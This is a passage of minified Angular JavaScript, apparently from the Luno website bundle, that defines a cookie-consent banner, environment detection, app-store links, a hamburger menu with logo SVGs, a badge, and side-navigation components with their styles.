he.X(null),this.cookiePreferencesShowing=!1,this.bannerStack=[],this.cookiePreferencesService.showPreferences$.subscribe(t=>{this.cookiePreferencesShowing=t,this.showCurrentBanner()}),this.action.subscribe(t=>{this.onBannerActionClicked(t)})}showBanner(t){this.bannerStack.push(t),1===this.bannerStack.length&&this.showCurrentBanner()}closeCurrentBanner(){!this.bannerStack.length||this.showNextBanner()}showCurrentBanner(){this.cookiePreferencesShowing||!this.bannerStack.length||(this.config.next(this.bannerStack[0]),this.visible.next(!0))}onBannerActionClicked(t){var e;t&&(null===(e=this.bannerStack[0])||void 0===e?void 0:e.persistOnButtonClick)||this.showNextBanner()}showNextBanner(){this.visible.next(!1),this.bannerStack.shift(),this.showCurrentBanner()}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(de.L))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t})(),fe=(()=>{class t{constructor(t){this.windowRef=t}isProd(){return["www.luno.com","app.luno.com","trade.luno.com"].includes(this.windowRef.nativeWindow.location.host)}isStaging(){return["staging.luno.com","app.staging.luno.com","trade.staging.luno.com"].includes(this.windowRef.nativeWindow.location.host)}isDev(){return!this.isStaging()&&!this.isProd()}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(Ot.X))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t})();function me(t,e){if(1&t&&s._UZ(0,"img",6),2&t){const t=s.oxw(2);s.Q6J("src",t.imageUrl,s.LSH)("alt",t.imageAlt)("width",40)("height",40)}}function ge(t,e){if(1&t){const t=s.EpF();s.TgZ(0,"luno-button",7),s.NdJ("clicked",function(){const e=s.CHM(t).$implicit;return s.oxw(2).onButtonClicked(e.action)}),s.qZA()}2&t&&s.Q6J("button",e.$implicit)}function _e(t,e){if(1&t&&(s.TgZ(0,"article"),s.TgZ(1,"div",1),s.TgZ(2,"div"),s.YNc(3,me,1,4,"img",2),s._UZ(4,"span",3),s.qZA(),s.TgZ(5,"div",4),s.YNc(6,ge,1,1,"luno-button",5),s.qZA(),s.qZA(),s.qZA()),2&t){const t=s.oxw();s.xp6(3),s.Q6J("ngIf",t.imageUrl),s.xp6(1),s.Q6J("innerHTML",t.text,s.oJD),s.xp6(2),s.Q6J("ngForOf",t.buttons)}}let ve=(()=>{class t{constructor(t,e,n,i,s,r,o){this.bannerService=t,this.commonInfoService=e,this.cookiePreferencesService=n,this.dialog=i,this.environmentService=s,this.i18n=r,this.themedAssetPipe=o,this.imageUrl=this.commonInfoService.staticAssetsUrl?this.themedAssetPipe.transform(`${this.commonInfoService.staticAssetsUrl}/icons/common/ic_cookie.svg`):null,this.showPreferences$=this.cookiePreferencesService.showPreferences$}ngOnInit(){this.showPreferences$=this.cookiePreferencesService.showPreferences$,this.initConfig()}initConfig(){this.imageAlt=this.i18n.translateText("cookie icon",void 0,"Component: Image screen reader name"),this.text=this.i18n.translateText("We use cookies to make your experience with us better. By continuing to use our website without changing the settings, you are agreeing to our use of cookies, which include marketing cookies.",void 0,"Component: Banner title"),this.buttons=[{action:{id:"manage_settings",name:this.i18n.translateText("Manage settings",void 0,"Component: Button"),style:Xt.gw3.SECONDARY}},{action:{id:"allow_all",name:this.i18n.translateText("Allow all",void 0,"Component: Button"),style:Xt.gw3.PRIMARY}}]}onButtonClicked(t){switch(null==t?void 0:t.id){case"manage_settings":this.dialog.open(ue,{panelClass:"mat-dialog-cookie-preferences",height:"auto"}).afterClosed().subscribe(t=>{!t||this.cookiePreferencesService.acceptSelection(t)});break;case"allow_all":this.cookiePreferencesService.acceptAll()}}}return t.\u0275fac=function(e){return new(e||t)(s.Y36(pe),s.Y36(Ft.E),s.Y36(de.L),s.Y36(S.uw),s.Y36(fe),s.Y36(ne.K),s.Y36(Pt.Tt))},t.\u0275cmp=s.Xpm({type:t,selectors:[["luno-cookie-preferences"]],decls:2,vars:3,consts:[[4,"ngIf"],[1,"container"],[3,"src","alt","width","height",4,"ngIf"],[3,"innerHTML"],[1,"button-container"],[3,"button","clicked",4,"ngFor","ngForOf"],[3,"src","alt","width","height"],[3,"button","clicked"]],template:function(t,e){1&t&&(s.YNc(0,_e,7,3,"article",0),s.ALo(1,"async")),2&t&&s.Q6J("ngIf",s.lcZ(1,1,e.showPreferences$))},directives:[r.O5,r.sg,le.r0],pipes:[r.Ov],styles:["[_nghost-%COMP%]{width:100%}article[_ngcontent-%COMP%]{background:#eeeeee}.container[_ngcontent-%COMP%]{display:flex;max-width:1200px;margin:auto;padding:.75rem .5rem;justify-content:center;align-items:center;height:100%;white-space:normal}.container[_ngcontent-%COMP%]   luno-button[_ngcontent-%COMP%]{flex-grow:1;padding-left:.5rem}.container[_ngcontent-%COMP%]   luno-button[_ngcontent-%COMP%]     a{width:100%}.container[_ngcontent-%COMP%] > div[_ngcontent-%COMP%]{display:flex;align-items:flex-start;color:var(--color-primary)}.container[_ngcontent-%COMP%] > div[_ngcontent-%COMP%] > img[_ngcontent-%COMP%]{margin:0 1rem 0 .5rem}@media screen and (max-width: 768px){.container[_ngcontent-%COMP%]{line-height:1.25;flex-direction:column;justify-content:space-between}.container[_ngcontent-%COMP%] > div[_ngcontent-%COMP%]{padding-left:0;align-items:flex-start;align-self:flex-end}.container[_ngcontent-%COMP%] > div.button-container[_ngcontent-%COMP%]{justify-content:center;flex-wrap:wrap;grid-row-gap:8px;row-gap:8px;padding-top:.5rem;padding-right:.5rem}.container[_ngcontent-%COMP%] > div[_ngcontent-%COMP%]:not(.button-container){padding-bottom:.5rem}.container[_ngcontent-%COMP%] > div[_ngcontent-%COMP%] > span[_ngcontent-%COMP%]{align-self:flex-start}}"],changeDetection:0}),t})(),be=(()=>{class t{constructor(t){this.platform=t}get isIosDevice(){return this.platform.IOS}get isAndroidDevice(){return this.platform.ANDROID}get isDesktop(){return!this.isIosDevice&&!this.isAndroidDevice}get iosAppStoreUrl(){return"https://luno.sng.link/Dwi6u/1a0p"}get androidAppStoreUrl(){return"https://luno.sng.link/Dwi6u/89zu"}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(A.t4))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t})();var ye=n(46708);function we(t,e){if(1&t&&(s.TgZ(0,"luno-hyperlink",5),s.O4$(),s.TgZ(1,"svg",6),s._UZ(2,"path",7),s.qZA(),s.qZA()),2&t){const t=s.oxw();s.ekj("opaque",t.isOpaque),s.Q6J("aria",t.logoAria),s.xp6(2),s.uIk("class",t.isOpaque?"opaque":"")}}function xe(t,e){if(1&t&&(s.TgZ(0,"luno-hyperlink",8),s.O4$(),s.TgZ(1,"svg",9),s._UZ(2,"path",10),s._UZ(3,"path",11),s._UZ(4,"path",12),s._UZ(5,"path",13),s._UZ(6,"path",14),s.qZA(),s.qZA()),2&t){const t=s.oxw();s.Q6J("aria",t.logoAria),s.xp6(1),s.uIk("class",t.isOpaque?"opaque-logo":"bright-logo")}}function Ce(t,e){if(1&t&&s._UZ(0,"span",15),2&t){const t=s.oxw();s.Q6J("innerHTML",t.wordMark,s.oJD)}}let Se=(()=>{class t{constructor(t,e){this.i18n=t,this.featureFlagsService=e,this.isOpaque=!1,this.hamburgerIconClick=new s.vpe,this.lunoV3=!1}ngOnInit(){this.lunoV3=this.featureFlagsService.isEnabled("luno_v3");const t=this.i18n.translateText("Luno logo",void 0,"Component: Logo description");this.logoAria={label:t}}onMenuClick(){this.hamburgerIconClick.emit()}}return t.\u0275fac=function(e){return new(e||t)(s.Y36(ne.K),s.Y36(Bt.a))},t.\u0275cmp=s.Xpm({type:t,selectors:[["luno-hamburger"]],inputs:{wordMark:"wordMark",isOpaque:"isOpaque"},outputs:{hamburgerIconClick:"hamburgerIconClick"},decls:6,vars:4,consts:[["mat-mini-fab","","aria-label","The hamburger button that opens the menu",1,"mat-elevation-z",3,"color","click"],[1,"material-icons-round"],["url","/","class","v2",3,"opaque","aria",4,"ngIf"],["url","/","class","v3",3,"aria",4,"ngIf"],["class","word-mark",3,"innerHTML",4,"ngIf"],["url","/",1,"v2",3,"aria"],["width","100","height","29","xmlns","http://www.w3.org/2000/svg","viewBox","0 0 120 29.1"],["d","M49.4 1c-1.1 0-1.9.9-1.9 2v14c0 4.9-3.5 8.3-8.5 8.3s-8.4-3.4-8.5-8.3V3c0-1.1-.9-2-1.9-2-1 0-1.9.9-1.9 2v14.2c0 3.7 1.2 6.8 3.6 8.9 2.1 1.9 5.1 3 8.4 3.1h.8c3.2-.1 6.1-1.2 8.2-3.1 2.3-2.1 3.5-5.2 3.5-8.9V3c.1-1.1-.8-2-1.8-2zM18.3 25h-6c-4.9 0-8.4-3.4-8.5-8.3v-14c0-1.1-.9-2-1.9-2-1 0-1.9.9-1.9 2v14.2c0 3.7 1.2 6.8 3.6 8.9 2.1 1.9 5.1 3 8.4 3.1h6.3c1.1 0 1.9-.9 1.9-2s-.9-1.9-1.9-1.9zm63.8 3.1c-1.1 0-1.9-.9-1.9-2v-14c0-4.9-3.5-8.3-8.5-8.3s-8.4 3.4-8.5 7.9v14c0 1.5-.9 2.4-1.9 2.4-1 0-1.9-.9-1.9-2V12c0-3.7 1.2-6.8 3.6-8.9 2-2 5-3 8.3-3.1h.9c3.2.1 6.1 1.2 8.2 3.1C82.8 5.3 84 8.4 84 12v14.2c0 1-.9 1.9-1.9 1.9zm23.8.9c-4 0-7.6-1.5-10.2-4.2-2.5-2.6-3.9-6.1-3.9-9.9v-.1c0-3.8 1.4-7.3 3.9-9.9C98.3 2.1 102 .6 105.9.6c4 0 7.6 1.5 10.2 4.2 2.5 2.6 3.9 6.1 3.9 9.9v.1c0 3.8-1.4 7.3-3.9 9.9-2.6 2.8-6.3 4.3-10.2 4.3zm0-24.8c-5.7 0-10.1 4.5-10.1 10.5v.1c0 2.9 1 5.5 2.9 7.5s4.5 3.1 7.3 3.1c5.7 0 10.1-4.5 10.1-10.5v-.1c0-2.9-1-5.5-2.9-7.5s-4.5-3.1-7.3-3.1z"],["url","/",1,"v3",3,"aria"],["width","120","height","38","fill","none","xmlns","http://www.w3.org/2000/svg"],["id","text","d","m105.841 17.762.016-.014ZM73.032 9.241h-.812a1.081 1.081 0 0 0-1.081 1.082V20.39c-.031 2.963-2.36 5.114-5.544 5.114h-.013c-3.243 0-5.53-2.221-5.558-5.4v-9.783a1.081 1.081 0 0 0-1.08-1.078h-.817a1.081 1.081 0 0 0-1.079 1.08v9.915c0 2.502.847 4.602 2.449 6.078 1.425 1.306 3.433 2.07 5.659 2.146h.662c2.272-.037 4.326-.785 5.786-2.104 1.633-1.474 2.515-3.594 2.515-6.127v-9.91a1.084 1.084 0 0 0-1.087-1.08ZM52.1 25.304h-4.026c-3.22 0-5.494-2.23-5.529-5.398v-9.581a1.083 1.083 0 0 0-1.08-1.081h-.813a1.083 1.083 0 0 0-1.08 1.08v9.708c0 2.532.866 4.652 2.503 6.128 1.46 1.324 3.517 2.067 5.791 2.105H52.1a1.083 1.083 0 0 0 1.08-1.081v-.81a1.086 1.086 0 0 0-1.08-1.08v.01ZM117.335 11.953a9.601 9.601 0 0 0-7.015-2.888 9.57 9.57 0 0 0-9.727 9.707v.05a9.506 9.506 0 0 0 5.953 8.97 9.504 9.504 0 0 0 3.727.687h.113a9.588 9.588 0 0 0 9.621-9.707v-.049a9.668 9.668 0 0 0-2.672-6.77Zm-.404 6.819v.053c0 3.902-2.839 6.839-6.605 6.839a6.511 6.511 0 0 1-4.765-2.014 7.014 7.014 0 0 1-1.88-4.878v-.05c0-3.904 2.84-6.84 6.603-6.84h.06a6.513 6.513 0 0 1 4.701 2.014 6.997 6.997 0 0 1 1.886 4.876ZM93.807 11.205c-1.428-1.306-3.433-2.07-5.659-2.147h-.662c-2.272.038-4.328.786-5.787 2.105-1.639 1.476-2.504 3.596-2.504 6.126v9.91a1.081 1.081 0 0 0 1.08 1.081h.811a1.081 1.081 0 0 0 1.081-1.08V17.132c.031-2.963 2.36-5.114 5.542-5.114h.015c3.243 0 5.527 2.222 5.558 5.4v9.78a1.07 1.07 0 0 0 .669 1c.131.054.272.082.414.081h.814a1.08 1.08 0 0 0 1.079-1.08v-9.917c-.002-2.502-.85-4.602-2.451-6.078Z"],["id","fourth-layer","d","M14.25 9.045a14.25 14.25 0 1 0-.005 28.498 14.25 14.25 0 0 0 .004-28.498Zm0 24.47a10.223 10.223 0 1 1 .016-20.445 10.223 10.223 0 0 1-.017 20.445Z"],["id","third-layer","d","M14.25 6.032a14.25 14.25 0 1 0-.005 28.498 14.25 14.25 0 0 0 .004-28.498Zm0 24.47a10.223 10.223 0 1 1 .017-20.446 10.223 10.223 0 0 1-.018 20.446Z"],["id","second-layer","d","M14.25 3.016a14.25 14.25 0 1 0-.005 28.498 14.25 14.25 0 0 0 .004-28.498Zm0 24.47a10.224 10.224 0 1 1 .017-20.447 10.224 10.224 0 0 1-.018 20.447Z"],["id","first-layer","d","M14.25 0a14.25 14.25 0 1 0-.005 28.499A14.25 14.25 0 0 0 14.249 0Zm0 24.473a10.224 10.224 0 1 1 .018-20.448 10.224 10.224 0 0 1-.019 20.448Z"],[1,"word-mark",3,"innerHTML"]],template:function(t,e){1&t&&(s.TgZ(0,"button",0),s.NdJ("click",function(){return e.onMenuClick()}),s.TgZ(1,"mat-icon",1),s._uU(2,"menu"),s.qZA(),s.qZA(),s.YNc(3,we,3,4,"luno-hyperlink",2),s.YNc(4,xe,7,2,"luno-hyperlink",3),s.YNc(5,Ce,1,1,"span",4)),2&t&&(s.Q6J("color",e.isOpaque?"":"primary"),s.xp6(3),s.Q6J("ngIf",!e.lunoV3),s.xp6(1),s.Q6J("ngIf",e.lunoV3),s.xp6(1),s.Q6J("ngIf",e.wordMark))},directives:[wt.lW,E.Hw,r.O5,ye.t],styles:["[_nghost-%COMP%]{padding:0;display:flex;align-items:center}[_nghost-%COMP%]   button[_ngcontent-%COMP%]{margin-right:4px}[_nghost-%COMP%]   mat-icon[_ngcontent-%COMP%]{display:flex;align-items:center;justify-content:center;margin:auto}  .mat-button-focus-overlay{background-color:transparent!important}.word-mark[_ngcontent-%COMP%]{margin-left:16px;line-height:16px}luno-hyperlink.v2[_ngcontent-%COMP%]   path[_ngcontent-%COMP%]{fill:var(--color-neutral-0)}luno-hyperlink.v2[_ngcontent-%COMP%]   path.opaque[_ngcontent-%COMP%]{fill:var(--color-primary)}luno-hyperlink.v3[_ngcontent-%COMP%]{height:38px;margin-left:24px}.bright-logo[_ngcontent-%COMP%]   #text[_ngcontent-%COMP%]{fill:#fff}.bright-logo[_ngcontent-%COMP%]   #fourth-layer[_ngcontent-%COMP%]{fill:#001e88}.bright-logo[_ngcontent-%COMP%]   #third-layer[_ngcontent-%COMP%]{fill:#2f6dda}.bright-logo[_ngcontent-%COMP%]   #second-layer[_ngcontent-%COMP%]{fill:#82b8f5}.bright-logo[_ngcontent-%COMP%]   #first-layer[_ngcontent-%COMP%]{fill:#fff}.opaque-logo[_ngcontent-%COMP%]   #text[_ngcontent-%COMP%]{fill:#001f83}.opaque-logo[_ngcontent-%COMP%]   #fourth-layer[_ngcontent-%COMP%]{fill:#acd0f7}.opaque-logo[_ngcontent-%COMP%]   #third-layer[_ngcontent-%COMP%]{fill:#6eaaf5}.opaque-logo[_ngcontent-%COMP%]   #second-layer[_ngcontent-%COMP%]{fill:#2f6dda}.opaque-logo[_ngcontent-%COMP%]   #first-layer[_ngcontent-%COMP%]{fill:#001e88}"]}),t})();function Ee(t,e){if(1&t&&s._UZ(0,"span",1),2&t){const t=s.oxw();s.ekj("is-neutral",t.isNeutral),s.Q6J("matBadge",t.badgeCount)}}let ke=(()=>{class t{constructor(){this.isMultiDigits=!1,this.badgeCount=null,this.matBadgeSize="small",this.isNeutral=!1,this.noCount=!1}ngOnInit(){this.noCount=!this.badgeCount,this.isMultiDigits=(this.badgeCount||0)>9}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275cmp=s.Xpm({type:t,selectors:[["luno-badge"]],hostVars:4,hostBindings:function(t,e){2&t&&s.ekj("badge-count-multi-digits",e.isMultiDigits)("no-count",e.noCount)},inputs:{badgeCount:"badgeCount",matBadgeSize:"matBadgeSize",isNeutral:"isNeutral"},decls:1,vars:1,consts:[["matBadgeSize","small","matBadgeColor","accent",3,"matBadge","is-neutral",4,"ngIf"],["matBadgeSize","small","matBadgeColor","accent",3,"matBadge"]],template:function(t,e){1&t&&s.YNc(0,Ee,1,3,"span",0),2&t&&s.Q6J("ngIf",e.badgeCount)},directives:[r.O5,vt],styles:["[_nghost-%COMP%]   .is-neutral.mat-badge-accent[_ngcontent-%COMP%]   .mat-badge-content[_ngcontent-%COMP%]{background:var(--color-neutral-0)}[_nghost-%COMP%]   .is-neutral.mat-badge[_ngcontent-%COMP%]   .mat-badge-content[_ngcontent-%COMP%]{color:var(--color-primary)}.no-count[_nghost-%COMP%]{display:inline-block;width:8px;height:8px;border-radius:50%}[_nghost-%COMP%]   .mat-badge[_ngcontent-%COMP%]   .mat-badge-content[_ngcontent-%COMP%]{color:inherit;font-size:11px}.badge-count-multi-digits[_nghost-%COMP%]   .mat-badge[_ngcontent-%COMP%]   .mat-badge-content[_ngcontent-%COMP%]{font-size:9.5px}"]}),t})();function Te(t,e){if(1&t){const t=s.EpF();s.TgZ(0,"luno-hamburger",2),s.NdJ("hamburgerIconClick",function(){return s.CHM(t),s.oxw().onMenuClick()}),s.qZA()}if(2&t){const t=s.oxw();s.Q6J("isOpaque",!0)("wordMark",null==t.navigationSide?null:t.navigationSide.wordMark)}}function Ae(t,e){if(1&t){const t=s.EpF();s.TgZ(0,"luno-button",10),s.NdJ("clicked",function(){return s.CHM(t),s.oxw(2).onNavigationItemClick()}),s.qZA()}2&t&&s.Q6J("button",e.$implicit)}function Ie(t,e){if(1&t&&(s.TgZ(0,"mat-icon",20),s._uU(1),s.qZA()),2&t){const t=s.oxw().$implicit;s.s9C("color",t.matIcon.theme),s.xp6(1),s.hij(" ",t.matIcon.name," ")}}function Oe(t,e){if(1&t&&s._UZ(0,"img",21),2&t){const t=s.oxw().$implicit,e=s.oxw(4);s.Q6J("alt",t.action.name)("src",e.getImageUrl(t),s.LSH)}}function Re(t,e){if(1&t&&(s._UZ(0,"luno-badge",22),s.ALo(1,"async")),2&t){const t=s.oxw().$implicit;s.Q6J("badgeCount",s.lcZ(1,1,t.badgeCount$))}}function Pe(t,e){if(1&t){const t=s.EpF();s.TgZ(0,"li",15),s.TgZ(1,"luno-hyperlink",16),s.NdJ("clicked",function(){return s.CHM(t),s.oxw(4).onNavigationItemClick()}),s.YNc(2,Ie,2,2,"mat-icon",17),s.YNc(3,Oe,1,2,"img",18),s.YNc(4,Re,2,3,"luno-badge",19),s.ALo(5,"async"),s._uU(6),s.qZA(),s.qZA()}if(2&t){const t=e.$implicit,n=s.oxw(4);s.ekj("active-menu-item",n.isRouteActive(t)),s.xp6(1),s.Q6J("action",t.action),s.xp6(1),s.Q6J("ngIf",n.isOpen&&t.matIcon),s.xp6(1),s.Q6J("ngIf",n.isOpen&&t.iconUrl),s.xp6(1),s.Q6J("ngIf",s.lcZ(5,7,t.badgeCount$)),s.xp6(2),s.hij(" ",t.action.name," ")}}function Ne(t,e){if(1&t&&(s.TgZ(0,"div",13),s.TgZ(1,"h6"),s._uU(2),s.qZA(),s.TgZ(3,"ul"),s.YNc(4,Pe,7,9,"li",14),s.qZA(),s.qZA()),2&t){const t=e.$implicit;s.xp6(2),s.Oqu(t.heading),s.xp6(2),s.Q6J("ngForOf",t.navigationItems)}}function De(t,e){if(1&t&&(s.TgZ(0,"div",11),s.YNc(1,Ne,5,2,"div",12),s.qZA()),2&t){const t=s.oxw(2);s.xp6(1),s.Q6J("ngForOf",t.navigationSide.navigationGroups)}}function Le(t,e){if(1&t&&s._UZ(0,"img",27),2&t){const t=s.oxw(3);s.Q6J("src",t.playStoreImageUrl[0],s.LSH)("srcset",t.playStoreImageUrl[1],s.LSH)}}function Me(t,e){if(1&t&&s._UZ(0,"img",28),2&t){const t=s.oxw(3);s.Q6J("src",t.appStoreImageUrl[0],s.LSH)("srcset",t.appStoreImageUrl[1],s.LSH)}}function Fe(t,e){if(1&t&&(s.TgZ(0,"div",23),s.TgZ(1,"a",24),s.YNc(2,Le,1,2,"img",25),s.qZA(),s.TgZ(3,"a",24),s.YNc(4,Me,1,2,"img",26),s.qZA(),s.qZA()),2&t){const t=s.oxw(2);s.xp6(1),s.Q6J("href",t.androidAppUrl,s.LSH),s.xp6(1),s.Q6J("ngIf",t.isOpen),s.xp6(1),s.Q6J("href",t.iosAppUrl,s.LSH),s.xp6(1),s.Q6J("ngIf",t.isOpen)}}function Ue(t,e){if(1&t&&s._UZ(0,"luno-button",29),2&t){const t=s.oxw(2);s.Q6J("button",t.getStartedButton)}}function Be(t,e){1&t&&s._UZ(0,"luno-button",29),2&t&&s.Q6J("button",e.$implicit)}function je(t,e){if(1&t&&(s.TgZ(0,"div",3),s.YNc(1,Ae,1,1,"luno-button",4),s.YNc(2,De,2,1,"div",5),s.YNc(3,Fe,5,4,"div",6),s.TgZ(4,"div",7),s.YNc(5,Ue,1,1,"luno-button",8),s.YNc(6,Be,1,1,"luno-button",9),s.qZA(),s.qZA()),2&t){const t=s.oxw();s.xp6(1),s.Q6J("ngForOf",t.navigationSide.buttons),s.xp6(1),s.Q6J("ngIf",t.navigationSide.navigationGroups),s.xp6(1),s.Q6J("ngIf",!t.navigationSide.hideAppIcons),s.xp6(2),s.Q6J("ngIf",!(null!=t.navigationSide.footerButtons&&t.navigationSide.footerButtons.length)),s.xp6(1),s.Q6J("ngForOf",t.navigationSide.footerButtons)}}let He=(()=>{class t{constructor(t,e,n,i){this.deviceRecognitionService=t,this.featureFlagsService=e,this.i18n=n,this.localeService=i,this.hasSideNav=!1,this.isOpen=!1,this.itemClicked=new s.vpe,this.toggleSidenav=new s.vpe,this.signUpButtonText=this.i18n.translateText("Sign up",void 0,"Component: Button"),this.getStartedButtonText=this.i18n.translateText("Get started",void 0,"Component: Button")}ngOnInit(){this.androidAppUrl=this.deviceRecognitionService.androidAppStoreUrl,this.iosAppUrl=this.deviceRecognitionService.iosAppStoreUrl}onCloseSidenav(){this.toggleSidenav.emit(!1)}onNavigationItemClick(){this.toggleSidenav.emit(!1)}get playStoreImageUrl(){return[`${this.webAssetsUrl}/img/store_buttons/btn_googleplay.png`,`${this.webAssetsUrl}/img/store_buttons/btn_googleplay@2x.png`]}get appStoreImageUrl(){return[`${this.webAssetsUrl}/img/store_buttons/btn_appstore.png`,`${this.webAssetsUrl}/img/store_buttons/btn_appstore@2x.png`]}isV3(){return this.featureFlagsService.isEnabled("luno_v3")}isRouteActive(t){if(!t.activeForRoutes&&!t.activeForRouteRegex||!this.activeUrl)return!1;if(t.activeForRouteRegex)return new RegExp(t.activeForRouteRegex).test(this.activeUrl);if(!t.activeForRoutes)return!1;for(const e of t.activeForRoutes)if(t.isActiveForRoutesExact&&this.activeUrl===e||!t.isActiveForRoutesExact&&this.activeUrl.includes(e))return!0;return!1}getImageUrl(t){var e,n;return this.isV3()?null===(e=null==t?void 0:t.iconUrl)||void 0===e?void 0:e.activeIconV3:null===(n=null==t?void 0:t.iconUrl)||void 0===n?void 0:n.activeIcon}get getStartedButton(){return this.isAuthenticated?{action:{name:this.getStartedButtonText,url:"/wallet",style:Xt.gw3.PRIMARY,event:{name:"button_click",parameters:{name:"Get started",product_group:"Onboard"}}}}:{action:{name:this.signUpButtonText,url:`${window.location.origin}/${this.localeService.urlPath}/signup`,style:Xt.gw3.PRIMARY,event:{name:"button_click",parameters:{name:"Sign up",product_group:"Onboard"}}}}}onMenuClick(){this.toggleSidenav.emit()}}return t.\u0275fac=function(e){return new(e||t)(s.Y36(be),s.Y36(Bt.a),s.Y36(ne.K),s.Y36(Ht.O))},t.\u0275cmp=s.Xpm({type:t,selectors:[["luno-navigation-side"]],inputs:{navigationSide:"navigationSide",activeUrl:"activeUrl",hasSideNav:"hasSideNav",webAssetsUrl:"webAssetsUrl",isAuthenticated:"isAuthenticated",isOpen:"isOpen"},outputs:{itemClicked:"itemClicked",toggleSidenav:"toggleSidenav"},decls:2,vars:2,consts:[["class","side-nav-hamburger",3,"isOpaque","wordMark","hamburgerIconClick",4,"ngIf"],["class","navigation-links",4,"ngIf"],[1,"side-nav-hamburger",3,"isOpaque","wordMark","hamburgerIconClick"],[1,"navigation-links"],["class","side-nav-button",3,"button","clicked",4,"ngFor","ngForOf"],["class","links",4,"ngIf"],["class","app-links",4,"ngIf"],[1,"button-container"],[3,"button",4,"ngIf"],[3,"button",4,"ngFor","ngForOf"],[1,"side-nav-button",3,"button","clicked"],[1,"links"],["class","group",4,"ngFor","ngForOf"],[1,"group"],["matRipple","",3,"active-menu-item",4,"ngFor","ngForOf"],["matRipple",""],[3,"action","clicked"],[3,"color",4,"ngIf"],["class","side-nav-img","loading","lazy",3,"alt","src",4,"ngIf"],[3,"badgeCount",4,"ngIf"],[3,"color"],["loading","lazy",1,"side-nav-img",3,"alt","src"],[3,"badgeCount"],[1,"app-links"],["rel","noopener noreferrer","matRipple","",3,"href"],["alt","Google Play Store Logo","loading","lazy",3,"src","srcset",4,"ngIf"],["alt","Apple App Store Logo","loading","lazy",3,"src","srcset",4,"ngIf"],["alt","Google Play Store Logo","loading","lazy",3,"src","srcset"],["alt","Apple App Store Logo","loading","lazy",3,"src","srcset"],[3,"button"]],template:function(t,e){1&t&&(s.YNc(0,Te,1,2,"luno-hamburger",0),s.YNc(1,je,7,5,"div",1)),2&t&&(s.Q6J("ngIf",!e.hasSideNav),s.xp6(1),s.Q6J("ngIf",e.navigationSide))},directives:[r.O5,Se,r.sg,le.r0,C.wG,ye.t,E.Hw,ke],pipes:[r.Ov],styles:["[_nghost-%COMP%]{display:block;padding:15px 20px 20px}[_nghost-%COMP%]     .side-nav-button a{width:100%}[_nghost-%COMP%]     mat-icon{margin-right:15px}[_nghost-%COMP%]     mat-sidenav{min-width:300px}luno-badge[_ngcontent-%COMP%]{margin-left:-15px;margin-right:15px}.navigation-links[_ngcontent-%COMP%]{padding-top:20px}.links[_ngcontent-%COMP%]   .group[_ngcontent-%COMP%]{margin-bottom:16px}.links[_ngcontent-%COMP%]   .group[_ngcontent-%COMP%]     .active-menu-item a{background-color:var(--color-neutral-100);font-weight:800;border:1px solid var(--color-neutral-100);border-radius:4px}.links[_ngcontent-%COMP%]   h6[_ngcontent-%COMP%]{color:var(--color-neutral-300);margin:0 0 4px;font-size:10px;font-weight:500;text-transform:uppercase}.links[_ngcontent-%COMP%]     ul{list-style:none;padding:0;margin:0}.links[_ngcontent-%COMP%]     ul li a{display:flex;align-items:center;justify-content:flex-start;padding:10px 20px;margin-left:-10px;margin-right:-10px;font-size:16px;font-weight:400;line-height:28px;color:var(--color-primary);text-decoration:none;outline:none}.links[_ngcontent-%COMP%]     ul li a:hover{background-color:var(--color-neutral-100)}.links[_ngcontent-%COMP%]   .side-nav-img[_ngcontent-%COMP%]{width:20px;margin-right:18px;vertical-align:middle}luno-button[_ngcontent-%COMP%] + .links[_ngcontent-%COMP%]{margin-top:20px}.app-links[_ngcontent-%COMP%]   a[_ngcontent-%COMP%]{display:inline-block;max-width:133px;max-height:40px;border-radius:5px}.app-links[_ngcontent-%COMP%]   a[_ngcontent-%COMP%]:first-child{margin-right:9px}.app-links[_ngcontent-%COMP%]   img[_ngcontent-%COMP%]{width:100%}.button-container[_ngcontent-%COMP%]{max-width:344px;padding-bottom:16px}.button-container[_ngcontent-%COMP%]     luno-button{width:344px}.button-container[_ngcontent-%COMP%]     luno-button a{width:100%;margin:16px 0 0}"]}),t})();function Ve(t,e){if(1&t){const t=s.EpF();s.TgZ(0,"luno-hamburger",3),s.NdJ("hamburgerIconClick",function(){return s.CHM(t),s.oxw().onMenuClick()}),s.qZA()}if(2&t){const t=s.oxw();s.Q6J("isOpaque",t.isOpaqueClass)}}function Ge(t,e){if(1&t&&(s._UZ(0,"luno-badge",10),s.ALo(1,"async")),2&t){const t=s.oxw(2).$implicit;s.Q6J("badgeCount",s.lcZ(1,1,t.badgeCount$))}}function Ye(t,e){if(1&t&&(s.TgZ(0,"luno-hyperlink",8),s._uU(1),s.YNc(2,Ge,2,3,"luno-badge",9),s.ALo(3,"async"),s.qZA()),2&t){const t=s.oxw().$implicit,e=s.oxw(2);s.ekj("active",e.isRouteActive(t))("hide-on-mobile",t.hideOnMobile)("hide-on-tablet",t.hideOnTablet)("hide-on-laptop-screen",t.hideOnLaptopScreen)("hide-on-desktop",t.hideOnDesktop),s.Q6J("action",t.action),s.xp6(1),s.hij("",t.action.name," "),s.xp6(1),s.Q6J("ngIf",s.lcZ(3,13,t.badgeCount$))}}function qe(t,e){if(1&t){const t=s.EpF();s.TgZ(0,"luno-button",11),s.NdJ("clicked",function(e){return s.CHM(t),s.oxw(3).onButtonClicked(e)}),s.qZA()}if(2&t){const t=s.oxw().$implicit;s.Q6J("button",t)("themePalette",t.themePalette)}}function $e(t,e){if(1&t&&(s.ynx(0),s.YNc(1,Ye,4,15,"luno-hyperlink",6),s.YNc(2,qe,1,2,"luno-button",7),s.BQk()),2&t){const t=e.$implicit;s.xp6(1),s.Q6J("ngIf",!t.action.style),s.xp6(1),s.Q6J("ngIf",t.action.style)}}function ze(t,e){if(1&t&&(s.TgZ(0,"menu",4),s.YNc(1,$e,3,2,"ng-container",5),s.qZA()),2&t){const t=s.oxw();s.xp6(1),s.Q6J("ngForOf",t.navigationTop.navigationItems)}}class Ze{constructor(t,e,n,i){this.changeDetectorRef=t,this.url=e,this.router=n,this.windowRef=i,this.itemClicked=new s.vpe,this.buttonClicked=new s.vpe,this.toggleSidenav=new 